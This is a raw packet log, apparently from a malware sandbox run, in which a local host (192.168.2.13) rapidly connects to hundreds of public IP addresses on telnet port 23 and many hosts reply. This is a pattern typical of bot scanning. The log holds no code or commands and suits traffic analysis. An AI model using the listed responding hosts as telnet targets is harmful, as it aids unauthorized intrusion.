Jan 5, 2025 14:34:51.671071053 CET	29476	23	192.168.2.13	35.234.113.178
Jan 5, 2025 14:34:51.671072960 CET	29476	23	192.168.2.13	160.55.88.43
Jan 5, 2025 14:34:51.671072960 CET	29476	23	192.168.2.13	69.53.157.205
Jan 5, 2025 14:34:51.671075106 CET	23	29476	157.119.15.147	192.168.2.13
Jan 5, 2025 14:34:51.671086073 CET	23	29476	72.176.82.174	192.168.2.13
Jan 5, 2025 14:34:51.671106100 CET	29476	23	192.168.2.13	138.36.223.72
Jan 5, 2025 14:34:51.671107054 CET	29476	23	192.168.2.13	67.124.151.66
Jan 5, 2025 14:34:51.671108961 CET	29476	23	192.168.2.13	204.126.194.150
Jan 5, 2025 14:34:51.671113014 CET	29476	23	192.168.2.13	36.216.206.89
Jan 5, 2025 14:34:51.671114922 CET	29476	23	192.168.2.13	110.23.108.178
Jan 5, 2025 14:34:51.671124935 CET	29476	23	192.168.2.13	157.119.15.147
Jan 5, 2025 14:34:51.671127081 CET	29476	23	192.168.2.13	70.17.146.154
Jan 5, 2025 14:34:51.671127081 CET	29476	23	192.168.2.13	72.176.82.174
Jan 5, 2025 14:34:51.674968958 CET	23	29476	118.244.137.53	192.168.2.13
Jan 5, 2025 14:34:51.674983978 CET	23	29476	207.178.143.202	192.168.2.13
Jan 5, 2025 14:34:51.674998045 CET	23	29476	148.231.139.46	192.168.2.13
Jan 5, 2025 14:34:51.675033092 CET	29476	23	192.168.2.13	118.244.137.53
Jan 5, 2025 14:34:51.675034046 CET	29476	23	192.168.2.13	207.178.143.202
Jan 5, 2025 14:34:51.675035000 CET	29476	23	192.168.2.13	148.231.139.46
Jan 5, 2025 14:34:51.675050974 CET	23	29476	75.65.77.94	192.168.2.13
Jan 5, 2025 14:34:51.675061941 CET	23	29476	132.147.186.17	192.168.2.13
Jan 5, 2025 14:34:51.675072908 CET	23	29476	164.69.214.149	192.168.2.13
Jan 5, 2025 14:34:51.675082922 CET	23	29476	20.105.176.211	192.168.2.13
Jan 5, 2025 14:34:51.675092936 CET	23	29476	34.34.62.125	192.168.2.13
Jan 5, 2025 14:34:51.675097942 CET	29476	23	192.168.2.13	164.69.214.149
Jan 5, 2025 14:34:51.675101995 CET	23	29476	133.16.187.164	192.168.2.13
Jan 5, 2025 14:34:51.675102949 CET	29476	23	192.168.2.13	75.65.77.94
Jan 5, 2025 14:34:51.675102949 CET	29476	23	192.168.2.13	132.147.186.17
Jan 5, 2025 14:34:51.675112963 CET	23	29476	135.20.8.103	192.168.2.13
Jan 5, 2025 14:34:51.675122976 CET	23	29476	191.28.203.118	192.168.2.13
Jan 5, 2025 14:34:51.675132036 CET	23	29476	133.130.255.226	192.168.2.13
Jan 5, 2025 14:34:51.675141096 CET	23	29476	77.153.239.134	192.168.2.13
Jan 5, 2025 14:34:51.675141096 CET	29476	23	192.168.2.13	20.105.176.211
Jan 5, 2025 14:34:51.675141096 CET	29476	23	192.168.2.13	34.34.62.125
Jan 5, 2025 14:34:51.675152063 CET	23	29476	64.110.223.253	192.168.2.13
Jan 5, 2025 14:34:51.675152063 CET	29476	23	192.168.2.13	133.16.187.164
Jan 5, 2025 14:34:51.675153971 CET	29476	23	192.168.2.13	135.20.8.103
Jan 5, 2025 14:34:51.675158978 CET	29476	23	192.168.2.13	191.28.203.118
Jan 5, 2025 14:34:51.675160885 CET	29476	23	192.168.2.13	133.130.255.226
Jan 5, 2025 14:34:51.675163984 CET	23	29476	168.97.13.213	192.168.2.13
Jan 5, 2025 14:34:51.675165892 CET	29476	23	192.168.2.13	77.153.239.134
Jan 5, 2025 14:34:51.675173998 CET	23	29476	175.101.166.97	192.168.2.13
Jan 5, 2025 14:34:51.675177097 CET	29476	23	192.168.2.13	64.110.223.253
Jan 5, 2025 14:34:51.675185919 CET	23	29476	85.198.247.101	192.168.2.13
Jan 5, 2025 14:34:51.675190926 CET	29476	23	192.168.2.13	168.97.13.213
Jan 5, 2025 14:34:51.675195932 CET	23	29476	103.165.122.61	192.168.2.13
Jan 5, 2025 14:34:51.675205946 CET	23	29476	58.228.92.114	192.168.2.13
Jan 5, 2025 14:34:51.675215006 CET	23	29476	67.157.1.194	192.168.2.13
Jan 5, 2025 14:34:51.675224066 CET	23	29476	19.66.193.236	192.168.2.13
Jan 5, 2025 14:34:51.675231934 CET	23	29476	75.59.253.228	192.168.2.13
Jan 5, 2025 14:34:51.675235033 CET	29476	23	192.168.2.13	58.228.92.114
Jan 5, 2025 14:34:51.675242901 CET	23	29476	67.20.221.51	192.168.2.13
Jan 5, 2025 14:34:51.675242901 CET	29476	23	192.168.2.13	85.198.247.101
Jan 5, 2025 14:34:51.675251961 CET	23	29476	59.254.232.109	192.168.2.13
Jan 5, 2025 14:34:51.675261974 CET	23	29476	38.238.163.136	192.168.2.13
Jan 5, 2025 14:34:51.675271988 CET	23	29476	126.67.151.215	192.168.2.13
Jan 5, 2025 14:34:51.675277948 CET	29476	23	192.168.2.13	175.101.166.97
Jan 5, 2025 14:34:51.675285101 CET	23	29476	170.34.2.47	192.168.2.13
Jan 5, 2025 14:34:51.675287962 CET	29476	23	192.168.2.13	103.165.122.61
Jan 5, 2025 14:34:51.675292015 CET	29476	23	192.168.2.13	19.66.193.236
Jan 5, 2025 14:34:51.675292015 CET	29476	23	192.168.2.13	67.20.221.51
Jan 5, 2025 14:34:51.675295115 CET	23	29476	167.103.135.156	192.168.2.13
Jan 5, 2025 14:34:51.675296068 CET	29476	23	192.168.2.13	75.59.253.228
Jan 5, 2025 14:34:51.675301075 CET	29476	23	192.168.2.13	67.157.1.194
Jan 5, 2025 14:34:51.675301075 CET	29476	23	192.168.2.13	38.238.163.136
Jan 5, 2025 14:34:51.675304890 CET	29476	23	192.168.2.13	126.67.151.215
Jan 5, 2025 14:34:51.675307035 CET	29476	23	192.168.2.13	59.254.232.109
Jan 5, 2025 14:34:51.675307989 CET	29476	23	192.168.2.13	170.34.2.47
Jan 5, 2025 14:34:51.675328970 CET	29476	23	192.168.2.13	167.103.135.156
Jan 5, 2025 14:34:51.675509930 CET	23	29476	169.80.53.224	192.168.2.13
Jan 5, 2025 14:34:51.675519943 CET	23	29476	141.206.189.98	192.168.2.13
Jan 5, 2025 14:34:51.675529003 CET	23	29476	185.149.71.50	192.168.2.13
Jan 5, 2025 14:34:51.675544024 CET	23	29476	17.71.221.122	192.168.2.13
Jan 5, 2025 14:34:51.675554037 CET	23	29476	80.75.34.72	192.168.2.13
Jan 5, 2025 14:34:51.675563097 CET	23	29476	137.2.203.113	192.168.2.13
Jan 5, 2025 14:34:51.675571918 CET	23	29476	206.170.148.214	192.168.2.13
Jan 5, 2025 14:34:51.675580978 CET	23	29476	159.34.126.131	192.168.2.13
Jan 5, 2025 14:34:51.675590038 CET	23	29476	193.221.3.204	192.168.2.13
Jan 5, 2025 14:34:51.675599098 CET	23	29476	173.34.108.81	192.168.2.13
Jan 5, 2025 14:34:51.675607920 CET	23	29476	113.246.89.170	192.168.2.13
Jan 5, 2025 14:34:51.675616980 CET	23	29476	94.179.87.29	192.168.2.13
Jan 5, 2025 14:34:51.675626040 CET	29476	23	192.168.2.13	141.206.189.98
Jan 5, 2025 14:34:51.675626040 CET	23	29476	117.202.251.54	192.168.2.13
Jan 5, 2025 14:34:51.675626993 CET	29476	23	192.168.2.13	169.80.53.224
Jan 5, 2025 14:34:51.675632000 CET	29476	23	192.168.2.13	185.149.71.50
Jan 5, 2025 14:34:51.675632000 CET	29476	23	192.168.2.13	173.34.108.81
Jan 5, 2025 14:34:51.675638914 CET	23	29476	201.200.28.86	192.168.2.13
Jan 5, 2025 14:34:51.675647020 CET	29476	23	192.168.2.13	17.71.221.122
Jan 5, 2025 14:34:51.675647020 CET	29476	23	192.168.2.13	206.170.148.214
Jan 5, 2025 14:34:51.675647020 CET	29476	23	192.168.2.13	80.75.34.72
Jan 5, 2025 14:34:51.675649881 CET	23	29476	25.88.34.154	192.168.2.13
Jan 5, 2025 14:34:51.675654888 CET	29476	23	192.168.2.13	193.221.3.204
Jan 5, 2025 14:34:51.675659895 CET	23	29476	45.192.98.116	192.168.2.13
Jan 5, 2025 14:34:51.675671101 CET	23	29476	124.184.168.141	192.168.2.13
Jan 5, 2025 14:34:51.675679922 CET	23	29476	200.5.75.161	192.168.2.13
Jan 5, 2025 14:34:51.675688982 CET	23	29476	117.211.174.252	192.168.2.13
Jan 5, 2025 14:34:51.675698042 CET	23	29476	53.94.45.161	192.168.2.13
Jan 5, 2025 14:34:51.675698996 CET	29476	23	192.168.2.13	159.34.126.131
Jan 5, 2025 14:34:51.675705910 CET	29476	23	192.168.2.13	117.202.251.54
Jan 5, 2025 14:34:51.675707102 CET	29476	23	192.168.2.13	201.200.28.86
Jan 5, 2025 14:34:51.675708055 CET	23	29476	84.81.61.163	192.168.2.13
Jan 5, 2025 14:34:51.675707102 CET	29476	23	192.168.2.13	113.246.89.170
Jan 5, 2025 14:34:51.675707102 CET	29476	23	192.168.2.13	94.179.87.29
Jan 5, 2025 14:34:51.675718069 CET	23	29476	58.100.145.81	192.168.2.13
Jan 5, 2025 14:34:51.675719023 CET	29476	23	192.168.2.13	137.2.203.113
Jan 5, 2025 14:34:51.675729036 CET	23	29476	116.181.72.250	192.168.2.13
Jan 5, 2025 14:34:51.675740004 CET	23	29476	41.47.163.213	192.168.2.13
Jan 5, 2025 14:34:51.675750971 CET	23	29476	164.245.203.110	192.168.2.13
Jan 5, 2025 14:34:51.675759077 CET	23	29476	8.105.22.54	192.168.2.13
Jan 5, 2025 14:34:51.675769091 CET	23	29476	180.70.102.188	192.168.2.13
Jan 5, 2025 14:34:51.675775051 CET	29476	23	192.168.2.13	45.192.98.116
Jan 5, 2025 14:34:51.675776958 CET	29476	23	192.168.2.13	200.5.75.161
Jan 5, 2025 14:34:51.675777912 CET	23	29476	192.123.9.199	192.168.2.13
Jan 5, 2025 14:34:51.675777912 CET	29476	23	192.168.2.13	25.88.34.154
Jan 5, 2025 14:34:51.675782919 CET	29476	23	192.168.2.13	58.100.145.81
Jan 5, 2025 14:34:51.675782919 CET	29476	23	192.168.2.13	41.47.163.213
Jan 5, 2025 14:34:51.675789118 CET	29476	23	192.168.2.13	164.245.203.110
Jan 5, 2025 14:34:51.675793886 CET	29476	23	192.168.2.13	53.94.45.161
Jan 5, 2025 14:34:51.675793886 CET	29476	23	192.168.2.13	8.105.22.54
Jan 5, 2025 14:34:51.675795078 CET	29476	23	192.168.2.13	117.211.174.252
Jan 5, 2025 14:34:51.675795078 CET	29476	23	192.168.2.13	84.81.61.163
Jan 5, 2025 14:34:51.675795078 CET	29476	23	192.168.2.13	116.181.72.250
Jan 5, 2025 14:34:51.675795078 CET	29476	23	192.168.2.13	180.70.102.188
Jan 5, 2025 14:34:51.675797939 CET	29476	23	192.168.2.13	124.184.168.141
Jan 5, 2025 14:34:51.675812960 CET	29476	23	192.168.2.13	192.123.9.199
Jan 5, 2025 14:34:51.675874949 CET	23	29476	86.81.215.30	192.168.2.13
Jan 5, 2025 14:34:51.675885916 CET	23	29476	140.7.84.212	192.168.2.13
Jan 5, 2025 14:34:51.675894976 CET	23	29476	83.231.243.155	192.168.2.13
Jan 5, 2025 14:34:51.675905943 CET	23	29476	40.111.130.208	192.168.2.13
Jan 5, 2025 14:34:51.675915003 CET	23	29476	14.146.250.129	192.168.2.13
Jan 5, 2025 14:34:51.675916910 CET	29476	23	192.168.2.13	86.81.215.30
Jan 5, 2025 14:34:51.675916910 CET	29476	23	192.168.2.13	140.7.84.212
Jan 5, 2025 14:34:51.675924063 CET	23	29476	23.137.250.176	192.168.2.13
Jan 5, 2025 14:34:51.675924063 CET	29476	23	192.168.2.13	83.231.243.155
Jan 5, 2025 14:34:51.675934076 CET	23	29476	201.9.216.45	192.168.2.13
Jan 5, 2025 14:34:51.675936937 CET	29476	23	192.168.2.13	40.111.130.208
Jan 5, 2025 14:34:51.675936937 CET	29476	23	192.168.2.13	14.146.250.129
Jan 5, 2025 14:34:51.675944090 CET	23	29476	130.110.243.37	192.168.2.13
Jan 5, 2025 14:34:51.675956011 CET	23	29476	189.243.232.129	192.168.2.13
Jan 5, 2025 14:34:51.675966024 CET	23	29476	117.212.61.246	192.168.2.13
Jan 5, 2025 14:34:51.675975084 CET	23	29476	120.107.79.13	192.168.2.13
Jan 5, 2025 14:34:51.675982952 CET	23	29476	170.57.159.76	192.168.2.13
Jan 5, 2025 14:34:51.675992966 CET	23	29476	41.0.96.11	192.168.2.13
Jan 5, 2025 14:34:51.676001072 CET	23	29476	62.68.148.188	192.168.2.13
Jan 5, 2025 14:34:51.676008940 CET	23	29476	130.212.80.161	192.168.2.13
Jan 5, 2025 14:34:51.676018000 CET	23	29476	205.116.13.251	192.168.2.13
Jan 5, 2025 14:34:51.676027060 CET	23	29476	9.255.126.84	192.168.2.13
Jan 5, 2025 14:34:51.676035881 CET	23	29476	189.32.169.160	192.168.2.13
Jan 5, 2025 14:34:51.676038027 CET	29476	23	192.168.2.13	23.137.250.176
Jan 5, 2025 14:34:51.676043987 CET	23	29476	173.69.75.153	192.168.2.13
Jan 5, 2025 14:34:51.676054001 CET	23	29476	89.200.241.254	192.168.2.13
Jan 5, 2025 14:34:51.676059961 CET	29476	23	192.168.2.13	41.0.96.11
Jan 5, 2025 14:34:51.676059961 CET	29476	23	192.168.2.13	62.68.148.188
Jan 5, 2025 14:34:51.676062107 CET	29476	23	192.168.2.13	201.9.216.45
Jan 5, 2025 14:34:51.676062107 CET	29476	23	192.168.2.13	130.110.243.37
Jan 5, 2025 14:34:51.676062107 CET	29476	23	192.168.2.13	189.243.232.129
Jan 5, 2025 14:34:51.676063061 CET	23	29476	51.253.233.116	192.168.2.13
Jan 5, 2025 14:34:51.676067114 CET	29476	23	192.168.2.13	120.107.79.13
Jan 5, 2025 14:34:51.676067114 CET	29476	23	192.168.2.13	170.57.159.76
Jan 5, 2025 14:34:51.676067114 CET	29476	23	192.168.2.13	205.116.13.251
Jan 5, 2025 14:34:51.676069975 CET	29476	23	192.168.2.13	117.212.61.246
Jan 5, 2025 14:34:51.676069975 CET	29476	23	192.168.2.13	9.255.126.84
Jan 5, 2025 14:34:51.676070929 CET	29476	23	192.168.2.13	130.212.80.161
Jan 5, 2025 14:34:51.676070929 CET	29476	23	192.168.2.13	189.32.169.160
Jan 5, 2025 14:34:51.676074028 CET	23	29476	128.228.90.182	192.168.2.13
Jan 5, 2025 14:34:51.676080942 CET	29476	23	192.168.2.13	173.69.75.153
Jan 5, 2025 14:34:51.676083088 CET	29476	23	192.168.2.13	89.200.241.254
Jan 5, 2025 14:34:51.676084995 CET	23	29476	67.192.15.50	192.168.2.13
Jan 5, 2025 14:34:51.676093102 CET	29476	23	192.168.2.13	51.253.233.116
Jan 5, 2025 14:34:51.676098108 CET	23	29476	175.165.253.95	192.168.2.13
Jan 5, 2025 14:34:51.676105976 CET	29476	23	192.168.2.13	128.228.90.182
Jan 5, 2025 14:34:51.676107883 CET	23	29476	68.131.152.79	192.168.2.13
Jan 5, 2025 14:34:51.676114082 CET	29476	23	192.168.2.13	67.192.15.50
Jan 5, 2025 14:34:51.676119089 CET	23	29476	202.166.154.210	192.168.2.13
Jan 5, 2025 14:34:51.676126003 CET	29476	23	192.168.2.13	175.165.253.95
Jan 5, 2025 14:34:51.676126957 CET	23	29476	148.144.246.36	192.168.2.13
Jan 5, 2025 14:34:51.676137924 CET	23	29476	53.116.175.131	192.168.2.13
Jan 5, 2025 14:34:51.676157951 CET	29476	23	192.168.2.13	68.131.152.79
Jan 5, 2025 14:34:51.676194906 CET	29476	23	192.168.2.13	148.144.246.36
Jan 5, 2025 14:34:51.676254988 CET	29476	23	192.168.2.13	53.116.175.131
Jan 5, 2025 14:34:51.676254988 CET	23	29476	185.35.208.98	192.168.2.13
Jan 5, 2025 14:34:51.676259041 CET	29476	23	192.168.2.13	202.166.154.210
Jan 5, 2025 14:34:51.676266909 CET	23	29476	32.118.36.200	192.168.2.13
Jan 5, 2025 14:34:51.676278114 CET	23	29476	187.51.163.74	192.168.2.13
Jan 5, 2025 14:34:51.676286936 CET	23	29476	201.188.155.150	192.168.2.13
Jan 5, 2025 14:34:51.676287889 CET	29476	23	192.168.2.13	185.35.208.98
Jan 5, 2025 14:34:51.676297903 CET	23	29476	168.58.188.4	192.168.2.13
Jan 5, 2025 14:34:51.676306963 CET	23	29476	202.166.12.138	192.168.2.13
Jan 5, 2025 14:34:51.676316023 CET	23	29476	88.23.51.183	192.168.2.13
Jan 5, 2025 14:34:51.676325083 CET	23	29476	49.105.203.50	192.168.2.13
Jan 5, 2025 14:34:51.676332951 CET	29476	23	192.168.2.13	32.118.36.200
Jan 5, 2025 14:34:51.676333904 CET	23	29476	63.178.116.229	192.168.2.13
Jan 5, 2025 14:34:51.676335096 CET	29476	23	192.168.2.13	168.58.188.4
Jan 5, 2025 14:34:51.676337004 CET	29476	23	192.168.2.13	187.51.163.74
Jan 5, 2025 14:34:51.676343918 CET	23	29476	37.90.50.145	192.168.2.13
Jan 5, 2025 14:34:51.676345110 CET	29476	23	192.168.2.13	201.188.155.150
Jan 5, 2025 14:34:51.676345110 CET	29476	23	192.168.2.13	202.166.12.138
Jan 5, 2025 14:34:51.676345110 CET	29476	23	192.168.2.13	88.23.51.183
Jan 5, 2025 14:34:51.676353931 CET	23	29476	192.205.16.163	192.168.2.13
Jan 5, 2025 14:34:51.676353931 CET	29476	23	192.168.2.13	49.105.203.50
Jan 5, 2025 14:34:51.676362991 CET	23	29476	82.80.137.90	192.168.2.13
Jan 5, 2025 14:34:51.676367998 CET	29476	23	192.168.2.13	63.178.116.229
Jan 5, 2025 14:34:51.676372051 CET	23	29476	115.110.36.22	192.168.2.13
Jan 5, 2025 14:34:51.676381111 CET	23	29476	166.21.16.17	192.168.2.13
Jan 5, 2025 14:34:51.676382065 CET	29476	23	192.168.2.13	37.90.50.145
Jan 5, 2025 14:34:51.676386118 CET	23	29476	70.1.43.238	192.168.2.13
Jan 5, 2025 14:34:51.676390886 CET	23	29476	159.44.198.213	192.168.2.13
Jan 5, 2025 14:34:51.676394939 CET	23	29476	13.60.164.32	192.168.2.13
Jan 5, 2025 14:34:51.676398993 CET	23	29476	202.24.157.245	192.168.2.13
Jan 5, 2025 14:34:51.676402092 CET	29476	23	192.168.2.13	192.205.16.163
Jan 5, 2025 14:34:51.676403046 CET	23	29476	100.134.228.251	192.168.2.13
Jan 5, 2025 14:34:51.676409960 CET	29476	23	192.168.2.13	82.80.137.90
Jan 5, 2025 14:34:51.676409960 CET	29476	23	192.168.2.13	70.1.43.238
Jan 5, 2025 14:34:51.676414013 CET	23	29476	51.173.254.210	192.168.2.13
Jan 5, 2025 14:34:51.676419973 CET	29476	23	192.168.2.13	115.110.36.22
Jan 5, 2025 14:34:51.676423073 CET	29476	23	192.168.2.13	166.21.16.17
Jan 5, 2025 14:34:51.676424026 CET	29476	23	192.168.2.13	159.44.198.213
Jan 5, 2025 14:34:51.676424980 CET	23	29476	110.223.74.15	192.168.2.13
Jan 5, 2025 14:34:51.676429033 CET	29476	23	192.168.2.13	100.134.228.251
Jan 5, 2025 14:34:51.676429987 CET	29476	23	192.168.2.13	13.60.164.32
Jan 5, 2025 14:34:51.676433086 CET	29476	23	192.168.2.13	202.24.157.245
Jan 5, 2025 14:34:51.676435947 CET	23	29476	66.247.187.167	192.168.2.13
Jan 5, 2025 14:34:51.676445007 CET	29476	23	192.168.2.13	51.173.254.210
Jan 5, 2025 14:34:51.676445961 CET	23	29476	73.252.55.22	192.168.2.13
Jan 5, 2025 14:34:51.676460028 CET	23	29476	32.182.14.14	192.168.2.13
Jan 5, 2025 14:34:51.676469088 CET	23	29476	94.233.129.222	192.168.2.13
Jan 5, 2025 14:34:51.676477909 CET	23	29476	120.36.212.187	192.168.2.13
Jan 5, 2025 14:34:51.676486969 CET	23	29476	111.76.154.241	192.168.2.13
Jan 5, 2025 14:34:51.676496029 CET	23	29476	117.189.137.170	192.168.2.13
Jan 5, 2025 14:34:51.676533937 CET	29476	23	192.168.2.13	32.182.14.14
Jan 5, 2025 14:34:51.676537991 CET	29476	23	192.168.2.13	110.223.74.15
Jan 5, 2025 14:34:51.676538944 CET	29476	23	192.168.2.13	66.247.187.167
Jan 5, 2025 14:34:51.676538944 CET	29476	23	192.168.2.13	120.36.212.187
Jan 5, 2025 14:34:51.676541090 CET	29476	23	192.168.2.13	111.76.154.241
Jan 5, 2025 14:34:51.676541090 CET	29476	23	192.168.2.13	73.252.55.22
Jan 5, 2025 14:34:51.676541090 CET	29476	23	192.168.2.13	117.189.137.170
Jan 5, 2025 14:34:51.676604986 CET	29476	23	192.168.2.13	94.233.129.222
Jan 5, 2025 14:34:51.676611900 CET	23	29476	194.127.38.173	192.168.2.13
Jan 5, 2025 14:34:51.676621914 CET	23	29476	113.41.149.223	192.168.2.13
Jan 5, 2025 14:34:51.676630974 CET	23	29476	54.151.148.230	192.168.2.13
Jan 5, 2025 14:34:51.676640987 CET	23	29476	120.230.94.42	192.168.2.13
Jan 5, 2025 14:34:51.676650047 CET	23	29476	190.23.236.58	192.168.2.13
Jan 5, 2025 14:34:51.676659107 CET	23	29476	209.81.35.234	192.168.2.13
Jan 5, 2025 14:34:51.676666975 CET	23	29476	36.169.173.125	192.168.2.13
Jan 5, 2025 14:34:51.676676035 CET	23	29476	82.15.196.237	192.168.2.13
Jan 5, 2025 14:34:51.676685095 CET	23	29476	63.219.118.66	192.168.2.13
Jan 5, 2025 14:34:51.676687956 CET	29476	23	192.168.2.13	54.151.148.230
Jan 5, 2025 14:34:51.676691055 CET	29476	23	192.168.2.13	194.127.38.173
Jan 5, 2025 14:34:51.676691055 CET	29476	23	192.168.2.13	113.41.149.223
Jan 5, 2025 14:34:51.676691055 CET	29476	23	192.168.2.13	190.23.236.58
Jan 5, 2025 14:34:51.676693916 CET	23	29476	200.73.93.234	192.168.2.13
Jan 5, 2025 14:34:51.676703930 CET	23	29476	13.28.166.241	192.168.2.13
Jan 5, 2025 14:34:51.676712036 CET	23	29476	68.22.99.22	192.168.2.13
Jan 5, 2025 14:34:51.676717997 CET	29476	23	192.168.2.13	120.230.94.42
Jan 5, 2025 14:34:51.676721096 CET	23	29476	98.59.71.118	192.168.2.13
Jan 5, 2025 14:34:51.676731110 CET	23	29476	59.230.124.142	192.168.2.13
Jan 5, 2025 14:34:51.676740885 CET	23	29476	80.49.46.94	192.168.2.13
Jan 5, 2025 14:34:51.676749945 CET	23	29476	190.132.9.202	192.168.2.13
Jan 5, 2025 14:34:51.676755905 CET	29476	23	192.168.2.13	36.169.173.125
Jan 5, 2025 14:34:51.676755905 CET	29476	23	192.168.2.13	63.219.118.66
Jan 5, 2025 14:34:51.676759958 CET	23	29476	217.126.217.55	192.168.2.13
Jan 5, 2025 14:34:51.676762104 CET	29476	23	192.168.2.13	59.230.124.142
Jan 5, 2025 14:34:51.676762104 CET	29476	23	192.168.2.13	82.15.196.237
Jan 5, 2025 14:34:51.676762104 CET	29476	23	192.168.2.13	209.81.35.234
Jan 5, 2025 14:34:51.676764011 CET	29476	23	192.168.2.13	200.73.93.234
Jan 5, 2025 14:34:51.676764011 CET	29476	23	192.168.2.13	13.28.166.241
Jan 5, 2025 14:34:51.676764011 CET	29476	23	192.168.2.13	98.59.71.118
Jan 5, 2025 14:34:51.676768064 CET	29476	23	192.168.2.13	68.22.99.22
Jan 5, 2025 14:34:51.676768064 CET	29476	23	192.168.2.13	80.49.46.94
Jan 5, 2025 14:34:51.676769018 CET	23	29476	37.157.173.194	192.168.2.13
Jan 5, 2025 14:34:51.676779032 CET	23	29476	97.132.214.206	192.168.2.13
Jan 5, 2025 14:34:51.676788092 CET	23	29476	160.140.64.64	192.168.2.13
Jan 5, 2025 14:34:51.676796913 CET	23	29476	138.37.144.174	192.168.2.13
Jan 5, 2025 14:34:51.676798105 CET	29476	23	192.168.2.13	190.132.9.202
Jan 5, 2025 14:34:51.676801920 CET	29476	23	192.168.2.13	37.157.173.194
Jan 5, 2025 14:34:51.676806927 CET	23	29476	32.68.45.4	192.168.2.13
Jan 5, 2025 14:34:51.676815033 CET	29476	23	192.168.2.13	217.126.217.55
Jan 5, 2025 14:34:51.676816940 CET	23	29476	122.239.5.161	192.168.2.13
Jan 5, 2025 14:34:51.676827908 CET	23	29476	172.78.33.163	192.168.2.13
Jan 5, 2025 14:34:51.676831961 CET	29476	23	192.168.2.13	97.132.214.206
Jan 5, 2025 14:34:51.676836967 CET	23	29476	41.173.223.103	192.168.2.13
Jan 5, 2025 14:34:51.676846027 CET	23	29476	76.168.196.195	192.168.2.13
Jan 5, 2025 14:34:51.676855087 CET	23	29476	164.194.208.36	192.168.2.13
Jan 5, 2025 14:34:51.676863909 CET	23	29476	91.4.235.179	192.168.2.13
Jan 5, 2025 14:34:51.676883936 CET	29476	23	192.168.2.13	138.37.144.174
Jan 5, 2025 14:34:51.676883936 CET	29476	23	192.168.2.13	41.173.223.103
Jan 5, 2025 14:34:51.676883936 CET	29476	23	192.168.2.13	122.239.5.161
Jan 5, 2025 14:34:51.676886082 CET	29476	23	192.168.2.13	160.140.64.64
Jan 5, 2025 14:34:51.676889896 CET	29476	23	192.168.2.13	164.194.208.36
Jan 5, 2025 14:34:51.676909924 CET	29476	23	192.168.2.13	91.4.235.179
Jan 5, 2025 14:34:51.676919937 CET	29476	23	192.168.2.13	76.168.196.195
Jan 5, 2025 14:34:51.676919937 CET	29476	23	192.168.2.13	32.68.45.4
Jan 5, 2025 14:34:51.676919937 CET	29476	23	192.168.2.13	172.78.33.163
Jan 5, 2025 14:34:51.676981926 CET	23	29476	27.244.101.15	192.168.2.13
Jan 5, 2025 14:34:51.676991940 CET	23	29476	167.189.171.112	192.168.2.13
Jan 5, 2025 14:34:51.677000999 CET	23	29476	50.88.192.235	192.168.2.13
Jan 5, 2025 14:34:51.677006006 CET	23	29476	162.252.222.139	192.168.2.13
Jan 5, 2025 14:34:51.677014112 CET	23	29476	220.23.45.132	192.168.2.13
Jan 5, 2025 14:34:51.677014112 CET	29476	23	192.168.2.13	27.244.101.15
Jan 5, 2025 14:34:51.677035093 CET	29476	23	192.168.2.13	167.189.171.112
Jan 5, 2025 14:34:51.677038908 CET	29476	23	192.168.2.13	50.88.192.235
Jan 5, 2025 14:34:51.677038908 CET	29476	23	192.168.2.13	220.23.45.132
Jan 5, 2025 14:34:51.677042961 CET	23	29476	32.237.71.43	192.168.2.13
Jan 5, 2025 14:34:51.677053928 CET	23	29476	86.163.239.88	192.168.2.13
Jan 5, 2025 14:34:51.677057028 CET	29476	23	192.168.2.13	162.252.222.139
Jan 5, 2025 14:34:51.677064896 CET	23	29476	201.248.250.13	192.168.2.13
Jan 5, 2025 14:34:51.677073956 CET	23	29476	143.174.7.26	192.168.2.13
Jan 5, 2025 14:34:51.677083015 CET	23	29476	194.199.110.239	192.168.2.13
Jan 5, 2025 14:34:51.677092075 CET	23	29476	222.224.156.183	192.168.2.13
Jan 5, 2025 14:34:51.677093983 CET	29476	23	192.168.2.13	86.163.239.88
Jan 5, 2025 14:34:51.677102089 CET	23	29476	155.53.178.1	192.168.2.13
Jan 5, 2025 14:34:51.677107096 CET	29476	23	192.168.2.13	32.237.71.43
Jan 5, 2025 14:34:51.677107096 CET	29476	23	192.168.2.13	201.248.250.13
Jan 5, 2025 14:34:51.677110910 CET	29476	23	192.168.2.13	143.174.7.26
Jan 5, 2025 14:34:51.677112103 CET	23	29476	86.236.125.24	192.168.2.13
Jan 5, 2025 14:34:51.677117109 CET	29476	23	192.168.2.13	194.199.110.239
Jan 5, 2025 14:34:51.677122116 CET	23	29476	203.140.232.192	192.168.2.13
Jan 5, 2025 14:34:51.677130938 CET	23	29476	46.119.77.21	192.168.2.13
Jan 5, 2025 14:34:51.677140951 CET	23	29476	169.156.159.39	192.168.2.13
Jan 5, 2025 14:34:51.677144051 CET	29476	23	192.168.2.13	222.224.156.183
Jan 5, 2025 14:34:51.677150011 CET	23	29476	121.72.237.146	192.168.2.13
Jan 5, 2025 14:34:51.677160978 CET	23	29476	192.53.148.109	192.168.2.13
Jan 5, 2025 14:34:51.677169085 CET	29476	23	192.168.2.13	86.236.125.24
Jan 5, 2025 14:34:51.677170038 CET	23	29476	138.188.142.187	192.168.2.13
Jan 5, 2025 14:34:51.677172899 CET	29476	23	192.168.2.13	155.53.178.1
Jan 5, 2025 14:34:51.677180052 CET	23	29476	71.82.255.36	192.168.2.13
Jan 5, 2025 14:34:51.677181005 CET	29476	23	192.168.2.13	169.156.159.39
Jan 5, 2025 14:34:51.677181005 CET	29476	23	192.168.2.13	203.140.232.192
Jan 5, 2025 14:34:51.677181005 CET	29476	23	192.168.2.13	46.119.77.21
Jan 5, 2025 14:34:51.677185059 CET	29476	23	192.168.2.13	121.72.237.146
Jan 5, 2025 14:34:51.677190065 CET	23	29476	194.230.240.187	192.168.2.13
Jan 5, 2025 14:34:51.677196980 CET	29476	23	192.168.2.13	192.53.148.109
Jan 5, 2025 14:34:51.677201033 CET	23	29476	78.241.234.253	192.168.2.13
Jan 5, 2025 14:34:51.677211046 CET	23	29476	151.158.125.186	192.168.2.13
Jan 5, 2025 14:34:51.677222967 CET	23	29476	210.77.182.35	192.168.2.13
Jan 5, 2025 14:34:51.677226067 CET	29476	23	192.168.2.13	138.188.142.187
Jan 5, 2025 14:34:51.677232027 CET	23	29476	195.10.30.101	192.168.2.13
Jan 5, 2025 14:34:51.677242041 CET	23	29476	76.186.174.152	192.168.2.13
Jan 5, 2025 14:34:51.677243948 CET	29476	23	192.168.2.13	71.82.255.36
Jan 5, 2025 14:34:51.677248001 CET	29476	23	192.168.2.13	194.230.240.187
